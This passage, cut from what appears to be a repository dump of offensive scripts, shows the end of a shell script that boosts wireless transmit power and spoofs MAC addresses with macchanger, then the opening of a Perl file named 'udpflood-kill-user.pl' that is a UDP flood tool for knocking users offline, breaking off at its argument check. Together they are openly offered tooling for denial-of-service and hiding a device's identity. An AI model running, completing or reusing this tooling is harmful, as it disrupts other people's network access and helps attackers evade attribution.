3000 16 | macchanger -bra wlan0 17 | ifconfig wlan0 up 18 | 19 | ifconfig wlan1 down 20 | iwconfig wlan1 txpwoer 3000 21 | macchanger -bra wlan1 22 | ifconfig wlan1 up 23 | 24 | echo "Complete" 25 | echo "" 26 | sleep 1 27 | 28 | # testing 29 | echo "Testing.." 30 | ping google.com 31 | sleep 10 32 | 33 | -------------------------------------------------------------------------------- /search-and-destroy-scripts/udpflood-kill-user.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ########## 3 | 4 | #!/usr/bin/perl 5 | 6 | ############## 7 | # udp flood. 8 | ############## 9 | 10 | use Socket; 11 | use strict; 12 | 13 | if ($#ARGV != 3) { 14 | print "flood.pl